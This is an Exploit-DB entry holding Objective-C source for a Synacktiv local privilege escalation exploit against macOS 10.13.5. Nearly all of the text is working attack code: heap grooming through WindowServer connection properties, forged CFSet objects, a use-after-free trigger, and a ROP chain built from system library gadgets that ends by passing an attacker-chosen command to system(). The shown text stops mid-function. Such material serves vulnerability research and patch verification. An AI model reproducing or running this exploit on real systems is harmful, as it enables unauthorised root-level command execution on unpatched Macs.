Apple macOS 10.13.5 - Local Privilege Escalation

EDB-ID:

46428


Author:

Synacktiv

Type:

local


Platform:

macOS

Date:

2019-02-13


#import <Cocoa/Cocoa.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <mach-o/getsect.h>
#import <mach/mach_vm.h>
#import <pthread.h>

#import "offsets.h"

//utils
#define ENFORCE(a, label) \
    do { \
        if (__builtin_expect(!(a), 0)) \
        { \
            timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \
            goto label; \
        } \
    } while (0)

// from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c
#define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x])))))

#define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset])
#define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset])
#define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset])

// constants used by the exploit
#define CFSTRING_SPRAY_SIZE (400*1000*1000)
#define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array)))
#define CFSET_SPRAY_SIZE (300*1000*1000)
// pointers (80*8) + internal size (0x40)
#define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40))
#define VULN_IDX (-0xaaaaab)
// 4GB should be enough and it's the maximum we can spray in one OOL
#define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000)
#define SPRAYED_BUFFER_ADDRESS 0x200006000

#define NB_CORE_SWITCH 50
#define NB_HOLES_PER_SWITCH 1000
#define NB_REUSE 200

// private functions (both private and public symbols)
static int (* SLSNewConnection)(int, int *);
static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
static mach_port_t (* CGSGetConnectionPortById)(uint32_t);
static int (* SLSReleaseConnection)(int);
static mach_port_t (* SLSServerPort)(void);


// push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
#define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10})

// mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16})

// mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16})

// mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
#define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0})

static int resolve_symbols();
static int build_rop_spray(void **rop_spray, char *command_line);
static int massage_heap(int connection_id);
static int register_application(int connection_id);
static int setup_hooks(int connection_id);
static int trigger_the_bug(int connection_id);
static int reuse_allocation(int connection_id);
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size);
static void timed_log(char* format, ...);

static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate);
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number);
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id);

int main(int argc, char **argv)
{
    int connection_id = -1;
    void *rop_spray = NULL;
    bool free_application = false;

    ENFORCE(argc == 2, fail);
    ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail);
    
    timed_log("[+] Resolving symbols...\n");
    ENFORCE(resolve_symbols() == 0, fail);

    timed_log("[+] Building our ROP chain...\n");
    ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail);

    timed_log("[+] Creating a fresh connection...\n");
    ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail);

    timed_log("[+] Setup 'hooks'...\n");
    ENFORCE(setup_hooks(connection_id) == 0, fail);

    timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n");
    ENFORCE(massage_heap(connection_id) == 0, fail);

    // no timed_log, we want to be fast :)
    ENFORCE(register_application(connection_id) == 0, fail);
    free_application = true;
    timed_log("[+] Application registered...\n");

    timed_log("[+] Triggering the bug\n");
    ENFORCE(trigger_the_bug(connection_id) == 0, fail);

    timed_log("[+] Let's free and reuse the application...\n");
    // this will whack the application
    free_application = false;
    ENFORCE(reuse_allocation(connection_id) == 0, fail);

    timed_log("[+] Trigger the UAF...\n");
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail);
    // the kernel freed the pages for us :)
    rop_spray = NULL;

    // a last synchronised request to make sure our command has been executed...
    ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail);

    // don't leave any connections behind us...
    ENFORCE(SLSReleaseConnection(connection_id) == 0, fail);
    connection_id = -1;
    timed_log("[+] OK\n");
    return 0;

// fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266)
fail:
    if (free_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    if (connection_id != -1)
        SLSReleaseConnection(connection_id);
    if (rop_spray != NULL)
        mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)rop_spray, ROP_SPRAY_SIZE);
    return 1;
}


static int resolve_symbols()
{
    SLSNewConnection = dlsym(RTLD_DEFAULT, "SLSNewConnection");
    ENFORCE(SLSNewConnection != NULL, fail);
    SLPSRegisterForKeyOnConnection = dlsym(RTLD_DEFAULT, "SLPSRegisterForKeyOnConnection");
    ENFORCE(SLPSRegisterForKeyOnConnection != NULL, fail);
    SLSReleaseConnection = dlsym(RTLD_DEFAULT, "SLSReleaseConnection");
    ENFORCE(SLSReleaseConnection != NULL, fail);
    SLSServerPort = dlsym(RTLD_DEFAULT, "SLSServerPort");
    ENFORCE(SLSServerPort != NULL, fail);

    // ugly but we could find its address by parsing private symbols, we just don't want to waste our time coding it...
    ENFORCE(((uintptr_t)SLPSRegisterForKeyOnConnection & 0xFFF) == (SLPSRegisterForKeyOnConnection_OFFSET & 0xFFF), fail);
    CGSGetConnectionPortById = (void *)((uint8_t*)SLPSRegisterForKeyOnConnection - SLPSRegisterForKeyOnConnection_OFFSET + CGSGetConnectionPortById_OFFSET);

    // paranoid checks, check if function starts with push rbp / mov rbp, rsp
    ENFORCE(memcmp(CGSGetConnectionPortById, "\x55\x48\x89\xe5", 4) == 0, fail);
    return 0;
fail:
    return -1;
}

// the trick is here to map multiple times the same page to make a HUGE alloc that doesn't use a lot of physical memory
static int build_rop_spray(void **rop_spray, char *command_line)
{
    void *handle_libswiftCore = NULL;
    void* large_region = NULL;

    *rop_spray = NULL;

    // first we reserve a large region
    ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&large_region, ROP_SPRAY_SIZE, VM_FLAGS_ANYWHERE) == KERN_SUCCESS, fail);

    // then we allocate the first page
    void *rop_chain = large_region;
    ENFORCE(mach_vm_allocate(mach_task_self(), (mach_vm_address_t *)&rop_chain, 0x1000, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE) == KERN_SUCCESS, fail);

    // now we can construct our rop chain
    void *release_selector = NSSelectorFromString(@"release");
    ENFORCE(release_selector != NULL, fail);



    // + 0x530 because of our forged CFSet and its 1st hash table entry  (=0x200002537)
    BYTE(rop_chain, 0x530 + 0x20) = 0;  // flags
    DWORD(rop_chain, 0x530 + 0x18) = 0; // mask
    QWORD(rop_chain, 0x530 + 0x10) = SPRAYED_BUFFER_ADDRESS; // cache address
    QWORD(rop_chain, 0) = (uint64_t)release_selector; // selector


    // and now the """fun""" part...
    handle_libswiftCore = dlopen("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", RTLD_GLOBAL | RTLD_NOW);
    ENFORCE(handle_libswiftCore != NULL, fail);

    void *libJPEG_text_addr;
    size_t libJPEG_text_size;
    ENFORCE(find_dylib_text_section("/System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib", &libJPEG_text_addr, &libJPEG_text_size) == 0, fail);

    void *libswiftCore_text_addr;
    size_t libswiftCore_text_size;
    ENFORCE(find_dylib_text_section("/System/Library/PrivateFrameworks/Swift/libswiftCore.dylib", &libswiftCore_text_addr, &libswiftCore_text_size) == 0, fail);
    uintptr_t system_address = (uintptr_t)dlsym(RTLD_DEFAULT, "system");
    ENFORCE(system_address != 0, fail);

    // check our gadgets
    uintptr_t save_rbp_set_rax = (uintptr_t)memmem(libJPEG_text_addr, libJPEG_text_size, SAVE_RBP_SET_RAX_GADGET, sizeof(SAVE_RBP_SET_RAX_GADGET));
    ENFORCE(save_rbp_set_rax != 0, fail);
    uintptr_t set_rsi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RSI_GADGET, sizeof(SET_RSI_GADGET));
    ENFORCE(set_rsi != 0, fail);
    uintptr_t set_rdi = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, SET_RDI_GADGET, sizeof(SET_RDI_GADGET));
    ENFORCE(set_rdi != 0, fail);
    uintptr_t pop_rbp_jmp = (uintptr_t)memmem(libswiftCore_text_addr, libswiftCore_text_size, POP_RBP_JMP_GADGET, sizeof(POP_RBP_JMP_GADGET));
    ENFORCE(pop_rbp_jmp != 0, fail);

    ENFORCE(dlclose(handle_libswiftCore) == 0, fail);
    handle_libswiftCore = NULL;
    
    timed_log("[i] Pivot address: 0x%lX\n", save_rbp_set_rax);

    QWORD(rop_chain, 8) = save_rbp_set_rax; // pivot


    // SAVE_RBP_SET_RAX: push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
    // + 0x137 because of our forged CFSet and its 2nd hash table entry 
    QWORD(rop_chain, 0x137) = set_rsi;
    // rax=0x200002137

    // SET_RSI: mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    QWORD(rop_chain, 0x137+8) = SPRAYED_BUFFER_ADDRESS+0x240;
    // rax=SPRAYED_BUFFER_ADDRESS+0x240
    QWORD(rop_chain, 0x240) = SPRAYED_BUFFER_ADDRESS+0x248;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x248
    QWORD(rop_chain, 0x248) = set_rdi;

    // SET_RDI: mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
    QWORD(rop_chain, 0x248+0x30) = SPRAYED_BUFFER_ADDRESS+0x600;
    // rdi=SPRAYED_BUFFER_ADDRESS+0x500
    QWORD(rop_chain, 0x248+0x38) = SPRAYED_BUFFER_ADDRESS+0x248+0x38+8;
    // rax=SPRAYED_BUFFER_ADDRESS+0x288
    QWORD(rop_chain, 0x288) = SPRAYED_BUFFER_ADDRESS+0x288+8;
    // rsi=SPRAYED_BUFFER_ADDRESS+0x290
    QWORD(rop_chain, 0x290) = pop_rbp_jmp;

    for (uint32_t i = 0; i < 4; i++)
    {
        // POP_RBP_JMP: mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
        QWORD(rop_chain, i*0x48+0x290+0x10) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x290+0x10+8;
        // rax=SPRAYED_BUFFER_ADDRESS+0x2A8
        QWORD(rop_chain, i*0x48+0x2A8+0x20) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
        // rsi=SPRAYED_BUFFER_ADDRESS+0x2D8
        QWORD(rop_chain, i*0x48+0x2D8-8) = SPRAYED_BUFFER_ADDRESS+i*0x48+0x2A8+0x20+8+8;
        // rax=SPRAYED_BUFFER_ADDRESS+0x2D8
        QWORD(rop_chain, i*0x48+0x2D8) = i == 3 ? system_address : pop_rbp_jmp;
        // rax=SPRAYED_BUFFER_ADDRESS+0x2D80x600
    }
    strcpy((char *)&BYTE(rop_chain, 0x600), command_line);

    QWORD(rop_chain, 0x1000-8) = 0xFFFFFFFF; // make sure that the server won't try to parse this...

    // and duplicate it, we use two for loops to gain some time
    for (uintptr_t i = 0x1000ul; i < 4*0x400*0x400; i += 0x1000ul)
    {
        mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
        vm_prot_t protection = VM_PROT_READ;
        kern_return_t kr;
        kr = mach_vm_remap(
            mach_task_self(), 
            &remapped_page_address, 
            0x1000, 
            0, 
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 
            mach_task_self(), 
            (mach_vm_address_t)rop_chain,
            0,
            &protection, 
            &protection, 
            VM_INHERIT_NONE
        );
        ENFORCE(kr == KERN_SUCCESS, fail);
        ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
    }
    for (uintptr_t i = 4*0x400*0x400; i < ROP_SPRAY_SIZE; i += 4*0x400*0x400)
    {
        mach_vm_address_t remapped_page_address = (mach_vm_address_t)large_region+i;
        vm_prot_t protection = VM_PROT_READ;
        kern_return_t kr;
        kr = mach_vm_remap(
            mach_task_self(), 
            &remapped_page_address, 
            4*0x400*0x400, 
            0, 
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 
            mach_task_self(), 
            (mach_vm_address_t)rop_chain,
            0,
            &protection, 
            &protection, 
            VM_INHERIT_NONE
        );
        ENFORCE(kr == KERN_SUCCESS, fail);
        ENFORCE(remapped_page_address == (mach_vm_address_t)large_region+i, fail);
    }
    *rop_spray = large_region;
    return 0;
fail:
    if (handle_libswiftCore != NULL)
        dlclose(handle_libswiftCore);
    if (large_region != NULL)
        mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)large_region, ROP_SPRAY_SIZE);
    return -1;
}

size_t malloc_size(void *);
static int massage_heap(int connection_id)
{
    static UInt8 data_buffer[0x70];

    memset(data_buffer, 'A', 0x70);

    CFDataRef hole_data = NULL;
    CFNumberRef place_holder_number = NULL;
    CFDataRef serialized_hole_0x60_data = NULL;
    CFDataRef serialized_hole_0x70_data = NULL;
    CFDataRef serialized_number_place_holder = NULL;
    bool free_tmp_application = false;

    hole_data = CFDataCreate(NULL, data_buffer, 0x60 - 0x40 - 0x20);
    ENFORCE(hole_data != NULL, fail);
    serialized_hole_0x60_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_hole_0x60_data != NULL, fail);
    CFRelease(hole_data);
    hole_data = NULL;

    hole_data = CFDataCreate(NULL, data_buffer, 0x70 - 0x40 - 0x20);
    ENFORCE(hole_data != NULL, fail);
    serialized_hole_0x70_data = CFPropertyListCreateData(NULL, hole_data, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_hole_0x70_data != NULL, fail);
    CFRelease(hole_data);
    hole_data = NULL;

    uint64_t v = 0x1337BAB;
    place_holder_number = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
    ENFORCE(place_holder_number != NULL, fail);
    serialized_number_place_holder = CFPropertyListCreateData(NULL, place_holder_number, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(serialized_number_place_holder != NULL, fail);
    CFRelease(place_holder_number);
    place_holder_number = NULL;
    // now free the data to make holes :)

    uint8_t *placeholder_data_bytes = (uint8_t *)CFDataGetBytePtr(serialized_number_place_holder);
    size_t placeholder_data_size = CFDataGetLength(serialized_number_place_holder);

    for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x6660000;

        // help changing core...
        ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
        free_tmp_application = true;

        for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
        {
            char key[20];
            snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);

            CFDataRef data = j%2 == 0 ? serialized_hole_0x70_data : serialized_hole_0x60_data;
            uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
            size_t data_size = CFDataGetLength(data);

            ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);

            snprintf(key, sizeof(key), "MSSH_%4d_%4d", i, j);
            ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, placeholder_data_bytes, placeholder_data_size, false) == KERN_SUCCESS, fail);
        }
        ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
        free_tmp_application = false;
    }
    CFRelease(serialized_number_place_holder);
    serialized_number_place_holder = NULL;
    CFRelease(serialized_hole_0x60_data);
    serialized_hole_0x60_data = NULL;
    CFRelease(serialized_hole_0x70_data);
    serialized_hole_0x70_data = NULL;

    for (uint32_t i = 0; i < NB_CORE_SWITCH; i++)
    {
        for (uint32_t j = 0; j < NB_HOLES_PER_SWITCH; j++)
        {
            char key[20];
            snprintf(key, sizeof(key), "MSSG_%4d_%4d", i, j);

            ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, NULL, 0, false) == KERN_SUCCESS, fail);
        }
    }
    return 0;

fail:
    if (hole_data != NULL)
        CFRelease(hole_data);
    if (serialized_hole_0x60_data != NULL)
        CFRelease(serialized_hole_0x60_data);
    if (serialized_hole_0x70_data != NULL)
        CFRelease(serialized_hole_0x70_data);
    if (place_holder_number != NULL)
        CFRelease(place_holder_number);
    if (serialized_number_place_holder != NULL)
        CFRelease(serialized_number_place_holder);
    if (free_tmp_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x6660000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    return -1;
}

static int register_application(int connection_id)
{
    ProcessSerialNumber psn;
    bool free_application = false;
    char app_name[0x40];

    // app_name must be > 0x20 to not use the tiny holes reserved for CFSet and it must be big enough to fill the rest of the space left by the application
    memset(app_name, 'B', sizeof(app_name)-1);
    app_name[COUNT_OF(app_name)-1] = 0;

    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), app_name, true, connection_id) == KERN_SUCCESS, fail);
    free_application = true;

    // use a psn in the middle-end of our spray
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSSetAuxConn(connection_id, &psn) == 0, fail);
    return 0;

fail:
    if (free_application)
    {
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    return -1;
}

static int setup_hooks(int connection_id)
{
    CFNumberRef set_array_values[35] = {NULL};
    CFMutableArrayRef big_array = NULL;
    CFDataRef data = NULL;

    timed_log("[+] Forging our set...\n");

    uint8_t set_hash_table[71] = {
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
        0
    };
    uint32_t set_size = 0;
    uint64_t v = 0x400000001;
    while (set_size < COUNT_OF(set_array_values))
    {
        CFNumberRef n;
        n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
        ENFORCE(n != NULL, fail);
        uint32_t h = CFHash(n)%71;
        if (set_hash_table[h] == 1)
        {
            set_array_values[set_size] = n;
            set_hash_table[h] = 0;
            set_size ++;
        }
        else
        {
            CFRelease(n);
        }
        v++;
        ENFORCE(v < 0x400000001 + 0xFFFFF, fail);
    }

    big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
    ENFORCE(big_array != NULL, fail);

    timed_log("[+] Creating our big set array...\n");

    for (uint32_t i = 0; i < CFSET_SPRAY_COUNT; i++)
    {
        CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
        ENFORCE(tmp_array != NULL, fail);
        CFArrayAppendValue(big_array, tmp_array);
        CFRelease(tmp_array);
    }

    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    {
        CFRelease(set_array_values[i]);
        set_array_values[i] = NULL;
    }

    timed_log("[+] Serializing it...\n");

    data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(data != NULL, fail);
    CFRelease(big_array);
    big_array = NULL;

    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);

    timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));

    timed_log("[+] Patching it...\n");
    uint32_t nb_arrays = 0;
    uint32_t cursor = 0;
    while (1)
    {
        uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xAF\x10\x23", 3);
        if (position == NULL)
            break;
        position[0] = 0xCF; // Array to Set
        nb_arrays ++;
        ENFORCE(nb_arrays <= CFSET_SPRAY_COUNT, fail);
        cursor = (uint32_t)(position-data_bytes) + 3;
    }
    ENFORCE(nb_arrays == CFSET_SPRAY_COUNT, fail);

    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", data_bytes, data_size, false) == KERN_SUCCESS, fail);
    CFRelease(data);
    data = NULL;
    return 0;
    
fail:
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
        if (set_array_values[i] != NULL)
            CFRelease(set_array_values[i]); 
    if (data != NULL)
        CFRelease(data);
    if (big_array != NULL)
        CFRelease(big_array);
    return -1;
}

static int trigger_the_bug(int connection_id)
{
    ProcessSerialNumber psn;

    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    int32_t index = VULN_IDX;
    int err;
    while ((err = SLPSRegisterForKeyOnConnection(connection_id, &psn, index, 1)) != 0)
    {
        // ENFORCE((err == 1011) || (err == -600), fail);
        ENFORCE(++index < VULN_IDX+((2*8*1024*1024)/0x18), fail); // = 2 small regions = 16 MiB
    }
    return 0;
fail:
    return -1;
}


static int reuse_allocation(int connection_id)
{
    CFNumberRef set_array_values[8] = {NULL};
    CFMutableArrayRef big_array = NULL;
    CFDataRef data = NULL;
    bool free_tmp_application = false;
    bool free_application = true;

    timed_log("[+] Forging our set...\n");

    uint8_t set_hash_table[13];
    memset(set_hash_table, 1, sizeof(set_hash_table));

    uint64_t v;
    v = 0x2000025;
    set_array_values[0] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002537 -> hash = 0
    ENFORCE(CFHash(set_array_values[0])%COUNT_OF(set_hash_table) == 0, fail);
    set_hash_table[0] = 0;

    v = 0x2000021;
    set_array_values[1] = CFNumberCreate(NULL, kCFNumberSInt64Type, &v); // == 0x200002137; -> hash = 1
    ENFORCE(CFHash(set_array_values[1])%COUNT_OF(set_hash_table) == 1, fail);
    set_hash_table[1] = 0;

    v = 0;
    uint32_t set_size = 2;
    while (set_size < COUNT_OF(set_array_values))
    {
        CFNumberRef n;
        n = CFNumberCreate(NULL, kCFNumberSInt64Type, &v);
        ENFORCE(n != NULL, fail);
        uint32_t h = CFHash(n)%COUNT_OF(set_hash_table);
        if (set_hash_table[h] == 1)
        {
            set_array_values[set_size] = n;
            set_hash_table[h] = 0;
            set_size ++;
        }
        else
        {
            CFRelease(n);
        }
        v++;
        ENFORCE(v < 0xFFFFF, fail);
    }

    big_array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
    ENFORCE(big_array != NULL, fail);

    timed_log("[+] Creating our big set array...\n");

    for (uint32_t i = 0; i < NB_REUSE; i++)
    {
        CFArrayRef tmp_array = CFArrayCreate(NULL, (const void **)set_array_values, COUNT_OF(set_array_values), &kCFTypeArrayCallBacks);
        ENFORCE(tmp_array != NULL, fail);
        CFArrayAppendValue(big_array, tmp_array);
        CFRelease(tmp_array);
    }

    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
    {
        CFRelease(set_array_values[i]);
        set_array_values[i] = NULL;
    }

    timed_log("[+] Serializing it...\n");

    data = CFPropertyListCreateData(NULL, big_array, kCFPropertyListBinaryFormat_v1_0, 0, NULL);
    ENFORCE(data != NULL, fail);
    CFRelease(big_array);
    big_array = NULL;

    uint8_t *data_bytes = (uint8_t *)CFDataGetBytePtr(data);
    size_t data_size = CFDataGetLength(data);

    timed_log("[i] Serialized size: %ldMB\n", data_size / (1000*1000));

    timed_log("[+] Patching it...\n");

    uint32_t nb_arrays = 0;
    uint32_t cursor = 0;
    while (1)
    {
        uint8_t *position = memmem(&data_bytes[cursor], data_size-cursor, "\xA8\x02\x03", 3);
        if (position == NULL)
            break;
        position[0] = 0xC8; // Array to Set
        nb_arrays ++;
        ENFORCE(nb_arrays <= NB_REUSE, fail);
        cursor = (uint32_t)(position-data_bytes) + 3;
    }
    ENFORCE(nb_arrays == NB_REUSE, fail);

    ProcessSerialNumber psn;
    psn.highLongOfPSN = 0;
    psn.lowLongOfPSN = 0x12340000;
    ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
    free_application = false;

    for (uint32_t i = 0; i < 1000; i++)
    {
        char key[0x80];
        ProcessSerialNumber psn;

        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x56780000;

        // help changing core...
        ENFORCE(_CGSCreateApplication(connection_id, psn, 0, 0, 2, getpid(), "a", true, connection_id) == KERN_SUCCESS, fail);
        free_tmp_application = true;
        // we use a long name to make sure it'll not be placed in our holes :)
        snprintf(key, sizeof(key), "FAKE_OBJECT_WITH_A_VERY_LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG_NAME_%d", i);
        ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, key, data_bytes, data_size, false) == KERN_SUCCESS, fail);
        ENFORCE(_CGSCreateApplication(connection_id, psn, 1, 0, 2, getpid(), "a", false, connection_id) == -50, fail);
        free_tmp_application = false;
        usleep(10);
    }
    CFRelease(data);
    data = NULL;
    return 0;
    
fail:
    if (free_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    if (free_tmp_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x56780000;
        _CGSCreateApplication(connection_id, psn, 2, 0, 2, getpid(), "a", false, connection_id);
    }
    for (uint32_t i = 0; i < COUNT_OF(set_array_values); i++)
        if (set_array_values[i] != NULL)
            CFRelease(set_array_values[i]); 
    if (data != NULL)
        CFRelease(data);
    if (big_array != NULL)
        CFRelease(big_array);
    return -1;
}

static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size)
{
    uint32_t image_count = _dyld_image_count();

    for (uint32_t i = 0; i < image_count; i++)
    {
        const char *current_dylib_name = _dyld_get_image_name(i);
        ENFORCE(current_dylib_name != NULL, fail);
        if (strcmp(current_dylib_name, dylib_name) != 0)
            continue;
        const struct mach_header_64 *dylib_header = (const struct mach_header_64 *)_dyld_get_image_header(i);
        ENFORCE(dylib_header != NULL, fail);
        ENFORCE(dylib_header->magic == MH_MAGIC_64, fail);

        uint32_t max_size = dylib_header->sizeofcmds;
        ENFORCE(max_size < 0x2000, fail);

        struct load_command *load_command = (struct load_command *)(dylib_header+1);
        struct load_command *next_command;
        ENFORCE(dylib_header->ncmds < 0x100, fail);
        for (uint32_t cmd_i = 0; cmd_i < dylib_header->ncmds; cmd_i++, load_command = next_command)
        {
            ENFORCE(load_command->cmdsize <= max_size, fail);
            ENFORCE(load_command->cmdsize >= sizeof(struct load_command), fail);
            next_command = (struct load_command *)((uintptr_t)load_command + load_command->cmdsize);
            max_size -= load_command->cmdsize;

            if (load_command->cmd != LC_SEGMENT_64)
                continue;

            ENFORCE(load_command->cmdsize >= sizeof(struct segment_command_64), fail);
            struct segment_command_64 *segment_command_64 = (struct segment_command_64 *)load_command;
            if (strcmp(segment_command_64->segname, "__TEXT") != 0)
